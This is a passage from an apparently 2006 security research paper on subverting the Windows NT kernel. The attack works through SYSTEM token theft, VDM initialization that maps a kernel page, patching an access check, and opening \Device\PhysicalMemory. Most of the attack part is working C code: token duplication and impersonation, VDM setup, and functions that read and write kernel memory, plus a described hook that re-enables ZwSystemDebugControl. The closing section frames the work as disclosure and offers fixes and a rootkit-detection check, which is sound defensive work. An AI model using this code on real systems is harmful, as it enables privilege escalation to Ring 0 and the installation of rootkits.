contain unreadable pointers, unless each pointer was then manually 
copied into user-mode and modified to point to the correct buffer.  
 
This means that the original DACL lives inside the descriptor, which 
was returned as part of an allocated heap, with a specific size. Since 
the security descriptor’s DACL was modified through enlargement it, 
copying the new data would cause a heap overflow and potentially 
corrupt data. The solution to this is to convert the security descriptor 
into an absolute one, and then simply edit the pointer to the DACL. 
Once again, Rtl calls exist for these purposes: 
 
// 
// Convert the SD to absolute 
// 
Status = RtlSelfRelativeToAbsoluteSD2(SecurityDescriptor, &SdLength); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to convert System token SD: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Update the SD's DACL to our new one 
// 
Status = RtlSetDaclSecurityDescriptor(SecurityDescriptor, 
                                      TRUE, 
                                      Dacl, 
                                      DaclDefaulted); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to set DACL in System token SD: %lx\n", 
             Status); 
    goto Fail; 
} 
 
// 
// Update the ACL 
// 
Status = NtSetSecurityObject(TempTokenHandle, 
                             DACL_SECURITY_INFORMATION, 
                             SecurityDescriptor); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to write System token SD: %lx\n", Status); 
    goto Fail; 
} 

 
The final call above updates the security descriptor for the token, and 
it is now possible to open it for duplicate access.  

 
// 
// Now open the token with duplicate access 
// 
Status = NtOpenProcessToken(ProcessHandle, 
                            TOKEN_DUPLICATE, 
                            &TokenHandle); 
if (!NT_SUCCESS(Status)) 
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{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to open System token: %lx\n", Status); 
    goto Fail; 
} 
 

Note that in the sample code shown here, it may seem that handles 
and buffers are not properly being allocated; this is done at the end 
instead, so that code can be shared with the Fail label. 
 
4.3.2 Impersonating the Thread 
 
Finally equipped with a duplication-capable token handle, the code 
can proceed to create a duplicate token that can be used for 
impersonation, as well as another copy that will be used for 
assignment as a primary token. The reason that the duplication must 
be done twice is that internally, Primary and Impersonation tokens 
have a variety of differences in the accesses that they grant and how 
they are represented by the Security Reference Monitor (SRM), which 
won’t be discussed here.  
 
Impersonation also requires the setup of a correct Security QoS 
(Quality of Service) structure, which defines the type of 
impersonation possible (other types such as delegation exist). Again, 
these subtle differences can be looked up in other reference materials.  
Ultimately, the impersonation and duplication only requires a few 
lines of code: 
 
// 
// Set up the Security QoS and Object Attributes for token duplication 
// 
SecurityQualityOfService.Length = sizeof(SECURITY_QUALITY_OF_SERVICE); 
SecurityQualityOfService.ImpersonationLevel = SecurityImpersonation; 
SecurityQualityOfService.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; 
SecurityQualityOfService.EffectiveOnly = FALSE; 
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL); 
ObjectAttributes.SecurityQualityOfService = &SecurityQualityOfService; 
 
// 
// Duplicate an impersonation token 
// 
Status = NtDuplicateToken(TokenHandle, 
                          TOKEN_ALL_ACCESS, 
                          &ObjectAttributes, 
                          FALSE, 
                          TokenImpersonation, 
                          &ImpersonationTokenHandle); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to duplicate System token: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Also duplicate a primary token 
// 
Status = NtDuplicateToken(TokenHandle, 
                          TOKEN_ALL_ACCESS, 
                          &ObjectAttributes, 
                          FALSE, 
                          TokenPrimary, 
                          &PrimaryTokenHandle); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to duplicate System token: %lx\n", Status); 
    goto Fail; 
} 
 
// 
// Use the impersonation token to make the thread have SYSTEM privileges. 
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// 
Status = NtSetInformationThread(NtCurrentThread(), 
                                ThreadImpersonationToken, 
                                (PVOID)&ImpersonationTokenHandle, 
                                sizeof(ImpersonationTokenHandle)); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to set System token: %lx\n", Status); 
    goto Fail; 
} 
 

4.3.3 Assigning the Primary Token 
 
Recall that earlier, obtaining the System process’ token as the current 
process’s primary token was the ultimate goal of this part of the code, 
and that all the operations done until now were merely required steps 
in order to be able to do so. This is because this assignment requires a 
special privilege called the SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, and 
this privilege is only present for the LOCAL SYSTEM account. Another 
trick here is that even for the LOCAL SYSTEM token that we nave know 
acquired, the privilege is still disabled (but at least present, which 
means we can enable it). Once enabled, a simple system call will 
assign it to the process: 
 
// 
// Now give our thread the privilege to assign primary tokens. 
// 
Status = RtlAdjustPrivilege(SE_ASSIGNPRIMARYTOKEN_PRIVILEGE, 
                            TRUE, 
                            TRUE, 
                            &Old); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to enable AssignPrimaryToken privilege: %lx\n", 
             Status); 
    goto Fail; 
} 
 
// 
// Assign the duplicated primary token as our process token. 
// 
ProcessTokenInformation.Thread = 0; 
ProcessTokenInformation.Token = PrimaryTokenHandle; 
Status = NtSetInformationProcess(NtCurrentProcess(), 
                                 ProcessAccessToken, 
                                 &ProcessTokenInformation, 
                                 sizeof(ProcessTokenInformation)); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("GPM: Failed to set duplicated primary token: %lx\n", 
             Status); 
} 

 
4.4 Initializing VDM 
 
After much ado, the next step that needs to be performed, and the one 
that will ultimately map the CM_ROM_BLOCK that was created earlier, is to 
initialize the current process as a VDM process. This requires a number 
of undocumented calls which all require high privileges, hence the reason 
for all the work done in the previous section to give the current process a 
LOCAL SYSTEM primary token.   
 
Once more, an ultimate goal is presented which must first meet a 
number of criteria, albeit smaller then the last chunk of operations that 
had to be performed. First, it will require setting up the correct address 
space that the kernel-mode side of VDM will expect, and secondly, 
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setting the process as a VDM process, which will first require yet another 
LOCAL SYSTEM privilege, SE_TCB_PRIVILEGE. 
 
Once these operations are performed, the ICA User Data structure for 
VDM call must be initialized, and the call can be made.  

 
4.4.1 Setting up the Address Space 
 
When a typical 16-bit DOS program is launched, this goes through 
kernel32’s CreateProcess call, which has specific code paths (some 
would call them hacks) which prepend ntvdm.exe to the target 
binary, setup the VDM environment, talk to CSRSS for initializing 
some VDM settings, and also pre-allocate the top 2 MB of virtual 
memory. This makes sure that no DLLs, other system structures 
(such as the Process Parameter Block or Environment Area) or the 
stack will occupy this space, which they usually do. However, by the 
time the process being used to patch the kernel has reached this 
execution step, it already has been allocated structures in this range, 
even if compiled as native application.  
 
Thankfully, the only really critical section of memory that the 
ZwVdmControl call will require for initialization is the first page of 
virtual memory, which is where the Interrupt Vector Table (IVT) and 
other BIOS structures are located. To allocate at base address 0, the 
call must actually be given the value of 1, to avoid interpretation of 0 
as a NULL variable (which has another meaning). One should also 
remember that long ago, the virtual address page corresponding to the 
physical page where the kernel function that is being patched is 
located was pre-allocated, to guard it from any other place of the 
system allocating something in that area. Because VDM will now 
attempt to allocate it, the memory must be freed first. These 
operations can be done as seen below:  
 
// 
// Setup the Adress Space. The low 1K of memory should be allocated and 
// mapped so that VDM can copy the first page of physical memory there. 
// 
MappedAddress = UlongToPtr(1); // 1 becase 0 would be misinterpreted. 
ReadSize = PAGE_SIZE - 1; 
Status = NtAllocateVirtualMemory(NtCurrentProcess(), 
                                 &MappedAddress, 
                                 0, 
                                 &ReadSize, 
                                 MEM_RESERVE | MEM_COMMIT, 
                                 PAGE_EXECUTE_READWRITE); 
if (!NT_SUCCESS(Status)) 
{ 
    DbgPrint("GPM: Failed to allocate first page of memory: %lx\n", 
             Status); 
    return Status; 
} 
 
// 
// Now free the kernel-memory area we had reserved, so that VDM can 
// map the physical memory into it. 
// 
MappedAddress = KernelTarget; 
Status = NtFreeVirtualMemory(NtCurrentProcess(), 
                             &MappedAddress, 
                             &ReadSize, 
                             MEM_RELEASE); 
if (!NT_SUCCESS(Status)) 
{ 
    DbgPrint("GPM: Failed to free reserved page for memory: %lx\n", 
             Status); 
    return Status; 
} 
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4.4.2 Calling ZwVdmControl 
 
Calling this API will be responsible for internally calling the VDM 
Initialization function inside the kernel, and finally perform the 
mapping that all the code until now has attempted to achieve. Since 
this is probably one of the least known functions in the Native APIs 
of Windows (and with good reason, there is not much use for it), here 
is the prototype, and needed structures which must be sent to the 
kernel: 
 
// 
// VDM Structures 
// 
#include "pshpack1.h" 
typedef struct _VdmVirtualIca 
{ 
    LONG ica_count[8]; 
    LONG ica_int_line; 
    LONG ica_cpu_int; 
    USHORT ica_base; 
    USHORT ica_hipiri; 
    USHORT ica_mode; 
    UCHAR ica_master; 
    UCHAR ica_irr; 
    UCHAR ica_isr; 
    UCHAR ica_imr; 
    UCHAR ica_ssr; 
} VDMVIRTUALICA, *PVDMVIRTUALICA; 
#include "poppack.h" 
 
typedef struct _VdmIcaUserData 
{ 
    PVOID pIcaLock; 
    PVDMVIRTUALICA pIcaMaster; 
    PVDMVIRTUALICA pIcaSlave; 
    PULONG pDelayIrq; 
    PULONG pUndelayIrq; 
    PULONG pDelayIret; 
    PULONG pIretHooked; 
    PULONG pAddrIretBopTable; 
    PHANDLE phWowIdleEvent; 
    PLARGE_INTEGER pIcaTimeout; 
    PHANDLE phMainThreadSuspended; 
} VDMICAUSERDATA, *PVDMICAUSERDATA; 
 
typedef struct _VDM_INITIALIZE_DATA 
{ 
    PVOID TrapcHandler; 
    PVDMICAUSERDATA IcaUserData; 
} VDM_INITIALIZE_DATA, *PVDM_INITIALIZE_DATA; 

 
NTSTATUS 
ZwVdmControl( 
    ULONG ControlCode, 
    PVOID ControlData 
); 
 

Based on research done on ntvdm.exe, it seemed that even if these 
values were not actually valid objects, they had to be properly filled 
out and exist, probably due to SEH code performing validation on the 
pointers, to ensure that user-mode wouldn’t attempt to crash the 
kernel. As such, the initialization code must look somewhat similar to 
the following: 
 
// 
// VDM Data 
// 
RTL_CRITICAL_SECTION IcaLock; 
VDMVIRTUALICA VirtualIca; 
VDMVIRTUALICA VirtualIcaSlave; 
ULONG DelayIrqLine = 0xFFFFFFFF; 
ULONG UndelayIrqLine; 
ULONG iretHookActive; 
ULONG iretHookMask; 
ULONG_PTR AddrIretBopTable; 
HANDLE hWowIdleEvent = INVALID_HANDLE_VALUE; 
HANDLE hMainThreadSuspended; 
LARGE_INTEGER IcaLockTimeout = {0xFFFFFFFF, 10000000}; 
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// 
// Address space is now initialized; setup the Ica User Data. 
// 
IcaUserData.pIcaLock = &IcaLock; 
IcaUserData.pIcaMaster = &VirtualIca; 
IcaUserData.pIcaSlave = &VirtualIcaSlave; 
IcaUserData.pDelayIrq = &DelayIrqLine; 
IcaUserData.pUndelayIrq = &UndelayIrqLine; 
IcaUserData.pDelayIret = &iretHookActive; 
IcaUserData.pIretHooked = &iretHookMask; 
IcaUserData.pAddrIretBopTable = &AddrIretBopTable; 
IcaUserData.phWowIdleEvent = &hWowIdleEvent; 
IcaUserData.pIcaTimeout = &IcaLockTimeout; 
IcaUserData.phMainThreadSuspended = &hMainThreadSuspended; 
 
// 
// Setup the VDM Initialization Data 
// 
VdmInit.TrapcHandler = (PVOID)(ULONG_PTR)&GpmInitializeVdm; 
VdmInit.IcaUserData = &IcaUserData; 
 
// 
// Initialize us with VDM 
// 
Status = NtVdmControl(VdmInitialize, &VdmInit); 
if (!NT_SUCCESS(Status)) 
{ 
    DbgPrint("GPM: Failed to initialize as a VDM Process: %lx\n", 
             Status); 
} 
 

Barring an unexpected failure, after the call returns, the required 
physical memory backing the kernel function has now been mapped 
into its proper virtual address, and is ready for patching. However, 
this may not seem as simple as it seems, because the region is 
protected from write access. Attempting to use a debugger, pointer 
dereferences or normal methods of writing to the memory seem not to 
make any changes, even if they don’t return access violation errors. 
Although read access is surely interesting, the whole point of the 
exercise was patching, so is this where the game ends? Fortunately 
not, as this is only yet another barricade from our goal. 

 
4.5 Taking Control of Physical Memory 
 
Except for some specific additional – and final –  quirk which must be 
handled, as well as the patching itself, the next steps will be 
straightforward for anyone that has already seen, or used, the procedure 
for obtaining a handle to the \Device\PhysicalMemory object, so that 
this VDM exploit must not be performed each time a new address must 
be modified. This step is completely optional, and is only provided to 
show an ultimate “goal” for the exploit, instead of just presenting it as 
raw code.  
It also shows the importance that even accessing a single page of kernel 
memory can lead to much bigger system security damage, because access 
checking can be disabled only by modifying some bytes in another kernel 
SRM routine. In the worst case scenario, small shellcode-like code could 
be carefully inserted, if the available memory location wasn’t selectable, 
so that custom executable code would be injected and executed at Ring 0 
privilege. Thankfully, as mentioned earlier, addresses below the typical 
BIOS ROM area are already protected, so even simpler modifications 
such as direct editing of the IDT or GDT to install a callgate or user-
mode interrupt are not directly possible. 
 

4.5.1 Patching the Security Check 
 
Recall from earlier that the specific code which disabled access looked 
similar to the following: 
 
jz      short FlagNotSet 
test    [eax+OBJECT_HEADER_NAME_INFO.QueryReferences+3],40h 
jz      short FlagNotSet 
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A number of compiler optimizations might change the flag check to 
4000h, 4000000h, or the real 40000000h, but the general concept is 
the same: the conditional “jz” must be turned into a “jmp”, so that 
the check becomes meaningless. The number could also be changed to 
a random value, but such values may have special meaning in the 
future, while a “jz” to “jmp” should work slightly better. Since the 
target lookup routine returns the pointer to the “jz” itself, it is only 
required to change this to the correct opcode for a short jmp: 0x61. 
 
Of course, there remains the question on how to actually perform the 
patching, since it was shown that the memory is somehow protected. 
The reason for this is simple, and once discovered, the solution 
becomes apparent. One of the first things that was brought up is that 
this memory is allocated by the kernel side of VDM, which is the only 
way that Ring 0 memory could’ve been mapped and copied. 
Therefore, this means that the NtAllocateVirtualMemory call which 
was made has kernel mode settings, and as such, is only writable from 
kernel mode. By itself, this would be an ultimately great way to make 
sure that this exploit is thwarted and only allows reading kernel 
memory, but knowledge of the way NT handles native calls which 
touch kernel memory solve this: because NtWriteVirtualMemory is 
located in the kernel, it can perfectly write even to kernel mode 
addresses, since there is no way implemented to check if the request 
came from user mode and disallow it.  
 
Because this call is freely available to user mode, it merely becomes a 
matter of using it instead of writing to memory directly. Sure, this 
does incur expensive context switching and ring transitions, but 
performance isn’t really a concern for a single write in an exploit 
(however, this is also a reason for disabling the 
\Device\PhysicalMemory check, so that high-speed I/O transfers can 
be performed for any reasons which may be required). Because we are 
patching code, it’s possible that the actual operation, not only the 
offset, might change between various builds of the OS. Some might to 
a “cmp” operation, which requires a different “jump” then a “test’ 
operation, so exploiting this hole for our purposes requires a table of 
both offsets and also code to modify. To be perfectly safe, the table 
should also include the original code, so that it can be compared.  
 
Since the x86 and most APIs work with 4-byte aligned data, it’s best 
to choose a multiple of this number for the patch. Since this is only a 
1 byte patch, this means also taking the original 3 bytes around the 
jump, so that we can do a memory aligned read/write. The first 4 -
byte sized read will confirm that indeed, this memory offset contains 
the code we expect, while the following 4-byte write will perform the 
patch. 
 
These patches can easily be done with the NtWriteVirtualMemory  
routine described previously. The table for offsets and code could be 
implemented as a simple three-dimensional array, or a user-defined 
type. 

 
4.5.2 Opening a Handle 
 
The next following sections will describe the generic API that has 
been implemented in the same program that has been described until 
now. Compiled as an EXE or DLL, it has a handful of exports which  
allow any calling application usage of physical memory. Written to be 
compatible with all released versions of Windows NT, the integrity 
features which it disables are transparent to the user, and applied 
only on target detected versions of NT.  



Relsoft Confidential Page 36 9/21/2006 

 

 
This code and API is documented here to provide an example 
interface on how to completely subvert memory access once the 
security check has been disabled. The first API that a caller will want 
to do is the GpmOpenMemory call, which returns a handle to physical 
memory. This handle should be considered opaque, although in the 
current code it is a regular NT handle, pointing to the mapped 
section. A very crude and basic implementation is done as follows: 
 

/*++ 
 * @name GpmOpenMemory 
 * 
 * The GpmOpenMemory routine opens a handle to physical memory. 
 * 
 * @param Handle 
 *        Pointer to where to return the physical memory section handle 
 * 
 * @return STATUS_SUCCESS or failure code. 
 * 
 * @remarks None. 
 * 
 *--*/ 
NTSTATUS 
GpmOpenMemory(OUT PHANDLE MemHandle) 
{ 

OBJECT_ATTRIBUTES ObjectAttributes; 
NTSTATUS Status; 
UNICODE_STRING DeviceName = 
RTL_CONSTANT_STRING(L"\\Device\\PhysicalMemory"); 
 
// 
// Initialize the object attributes 
// 
InitializeObjectAttributes(&ObjectAttributes, 
                           &DeviceName, 
                           OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, 
                           NULL, 
                           NULL); 
 
// 
// Open the section 
// 
Status = NtOpenSection(MemHandle, 
                       SECTION_MAP_READ | SECTION_MAP_WRITE, 
                       &ObjectAttributes); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("Failed to open Physical Memory section\n"); 
} 
 
// 
// Return status 
// 
return Status; 

} 

 
4.5.3 Reading & Writing to Kernel Memory 
 
The next function which a caller will probably want to do is to write 
to kernel or physical memory, and this is exposed through two other 
APIs, GpmWriteMemory and GpmReadMemory. The implementations 
provided below directly access the physical memory given, and do not 
make a translation between physical and virtual memory, which the 
caller is expected to do. A more advanced version of this code 
(present in a yet-to-be-released public tool) will provide an extra 
parameter to determine if the address given is a virtual kernel 
address. If this is the case, then page table lookup will be manually 
done, since access to the page table directory is now possible (this is 
something that will be presented in a presentation for the tool, and 
something also out of the scope of this paper).  
 
Therefore, at the barebones stage, functions to use the handle 
obtained earlier would look like this: 



Relsoft Confidential Page 37 9/21/2006 

 

/*++ 
 * @name GpmWriteMemory 
 * 
 * The GpmWriteMemory routine writes a buffer to kernel memory. 
 * 
 * @param Handle 
 *        Handle to the physical memory section. 
 * 
 * @param Address 
 *        Pointer in kernel memory where to write the buffer. 
 * 
 * @param Buffer 
 *        Pointer in user memory from where to read the buffer. 
 * 
 * @param Size 
 *        Size of the buffer to copy. 
 * 
 * @return STATUS_SUCCESS or failure code. 
 * 
 * @remarks The physical memory device object must have been setup for 
 *          R/W access before calling this routine. 
 * 
 *--*/ 
NTSTATUS 
GpmWriteMemory(IN HANDLE MemHandle, 
               IN ULONG_PTR Address, 
               IN PVOID Buffer, 
               IN ULONG Size) 
{ 

NTSTATUS Status; 
PHYSICAL_ADDRESS WriteAddress = {0}; 
PVOID MappedAddress = NULL; 
SIZE_T Offset = 0, ReadSize; 
ULONG Granularity = PAGE_SIZE; // BUGBUG: Call NtQuerySystemInformation 
 
// 
// Calculate the page-aligned offset 
// 
Offset = Address % Granularity; 
ReadSize = Size; 
 
// 
// Setup the write address 
// 
WriteAddress.QuadPart = (ULONGLONG)(Address - Offset); 
 
// 
// Map the memory 
// 
Status = NtMapViewOfSection(MemHandle, 
                            NtCurrentProcess(), 
                            &MappedAddress, 
                            0, 
                            Size, 
                            &WriteAddress, 
                            &ReadSize, 
                            ViewShare, 
                            0, 
                            PAGE_READWRITE); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("Could not map physical memory\n"); 
    return Status; 
} 
 
// 
// Now write the data 
// 
RtlCopyMemory((PVOID)((ULONG_PTR)MappedAddress + Offset), Buffer, Size); 
 
// 
// Unmap the address 
// 
Status = NtUnmapViewOfSection(NtCurrentProcess(), MappedAddress); 
 
// 
// Return the status 
// 
return Status; 

} 
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/*++ 
 * @name GpmReadMemory 
 * 
 * The GpmReadMemory routine reads a buffer from kernel memory. 
 * 
 * @param Handle 
 *        Handle to the physical memory section. 
 * 
 * @param Address 
 *        Pointer in kernel memory from where to read the buffer. 
 * 
 * @param Buffer 
 *        Pointer in user memory where to write the buffer. 
 * 
 * @param Size 
 *        Size of the buffer to copy. 
 * 
 * @return STATUS_SUCCESS or failure code. 
 * 
 * @remarks None. 
 * 
 *--*/ 
NTSTATUS 
GpmReadMemory(IN HANDLE MemHandle, 
              IN ULONG_PTR Address, 
              OUT PVOID Buffer, 
              IN ULONG Size) 

{ 
NTSTATUS Status; 
PHYSICAL_ADDRESS WriteAddress = {0}; 
PVOID MappedAddress = (PVOID)Address; 
SIZE_T Offset = 0, ReadSize; 
ULONG Granularity = PAGE_SIZE; // BUGBUG: Call NtQuerySystemInformation 
 
// 
// Calculate the page-aligned offset 
// 
Offset = Address % Granularity; 
ReadSize = Size; 
 
// 
// Setup the write address 
// 
WriteAddress.QuadPart = (ULONGLONG)(Address - Offset); 
 
// 
// Map the memory 
// 
Status = NtMapViewOfSection(MemHandle, 
                            NtCurrentProcess(), 
                            &MappedAddress, 
                            0, 
                            Size, 
                            &WriteAddress, 
                            &ReadSize, 
                            ViewUnmap, 
                            0x40000000, 
                            PAGE_READWRITE); 
if (!NT_SUCCESS(Status)) 
{ 
    // 
    // Fail 
    // 
    DbgPrint("Could not map physical memory\n"); 
    return Status; 
} 
 
// 
// Now write the data 
// 
RtlCopyMemory(Buffer, (PVOID)((ULONG_PTR)MappedAddress + Offset), Size); 
 
// 
// Unmap the address 
// 
Status = NtUnmapViewOfSection(NtCurrentProcess(), MappedAddress); 
 
// 
// Return the status 
// 
return Status; 

} 

 
Now that these routines have been established, they can be put to 
good use to re-enable yet another disabled ring escalation method. 
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4.6 Re-enabling ZwSystemDebugControl 
 
The last step that we’ll have to do is to allow debugging access to the 
machine without requiring loading a driver. With access to physical 
memory and the routines shown in the preceding section, this patch 
becomes quite straightforward. Unfortunately, due to the nature of the 
protection, it also becomes slightly more complicated. 
 
As was shown earlier, the actual protection behind the routine is the 
removal of multiple information classes, and the creation of a new kernel-
mode exported API. Therefore, the only logical way to re-enable this 
functionality is to set up a quasi-hook, or indirect jump, from the native 
routine to the exported routine Unfortunately, the kernel-mode routine 
has an additional parameter, which specifies the PreviousMode of the 
caller (KernelMode or UserMode). Therefore, it will be necessary for our 
code to fixup the stack to add this new parameter, before calling the 
kernel routine.  
 
However, because all other parameters are a perfect match, and this 
function is nearly a copy/paste job of the original function present in 
Windows XP and Windows 2003 SP0, this sort of hook will be fully 
compatible. Additionally, one does not need to bother with hard -coded 
addresses or complex tables. The address of the kernel-mode API is 
exported and can be easily looked up, while the address of the native-
mode API can also be looked up by using KeServiceDescriptorTable  
and locating the proper ID. This ID does indeed change at every major 
OS release, but since Vista has not yet been released, it can currently be 
hardcoded.  
 
Once the native API has been located, simply overwrite the first few 
lines of the function with the hook operands in assembly, and it will then 
become available for use. 
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Chapter 5 

 
Conclusion 
 
Apart from the challenge and excitement in finding this subversion 
method that currently works on every released 32-bit x86 version of NT, 
the point of sharing such discoveries is ultimately to help protect against 
such attacks by describing the exploit/subversion in detail so that 
administrators and the coders at Microsoft may fix it. However, in this 
case, knowing this method of accessing Ring 0 memory (which can be 
used to run Ring 3 code at a Ring 0 privilege) is also helpful for low-level 
system coders, curious explorers and potentially other internal uses in 
controlled environment. Again, the author does not endorse nor 
recommend usage of any hooking, subversive, or undocumented technique 
in any public and/or released product. For truly legitimate and public 
replacements for some of the lost functionality, documented methods 
have been given to regain it, such as the usage of the new and improved 
WinDBG SDK, as well as the new Firmware Table APIs in versions of 
Windows which enable this protection. 
 
For Microsoft, the challenge in fixing this code is minimal at best. The 
easiest solution would be to simply set an upper bound on the allowed 
values that are being read from the registry key. Certainly, a BIOS ROM 
cannot possibly exist in the same location where the kernel is currently 
mapped at, and the VDM initialization function responsible for this 
mapping should recognize it. Other approaches include caching the value 
at startup, after detection. As such, any registry changes would not be 
picked up (this seems logical –  BIOS ROMs are usually not hot-
pluggable), and any code would need to modify the kernel binary and go 
through all the trouble of on-disk modification, defeating the point and 
advantages of this live method. These are only some of the methods 
which could be used from protecting against this attack, but a larger one 
should be examined by the NT Core Group: finding a non-predictable 
way of mapping physical to virtual memory for the kernel page. The 
current method of merely masking out some bits will be re-used again 
and again as more ways to access physical memory are found, even if this 
flaw is fixed. By making it impossible, or incredibly hard for code with 
access to physical memory to touch kernel memory, all flaws of this kind 
can be thwarted.  
 
As for administrators, the simplest way to protect against this flaw 
should already be enabled on their systems: making sure users login with 
limited user accounts, and not give default administrative access to any 
logon. Hopefully, every administrator is already doing this, but there still 
remain many cybercafes, bars, public libraries and other such terminals 
which only rely on 3rd-party login programs, but actually login users as 
administrators. If, for whatever reason you need to allow an untrusted 
user with an administrative account, a background application using 
registry modification notification APIs should be able to detect this 
change and automatically revert it.  
 
Finally, for the purposes of rootkit detection, the method outlined above 
as a potential fix for Microsoft is something that anti-rootkit developers 
can use. Simply read the registry data and check each entry in the 
CM_ROM_BLOCK. Don’t be sloppy and assume addresses, array counts or 
lengths, they can actually vary from system to system. But any address 
above 0x100000 should be flagged as suspicious and a sign of infection. 


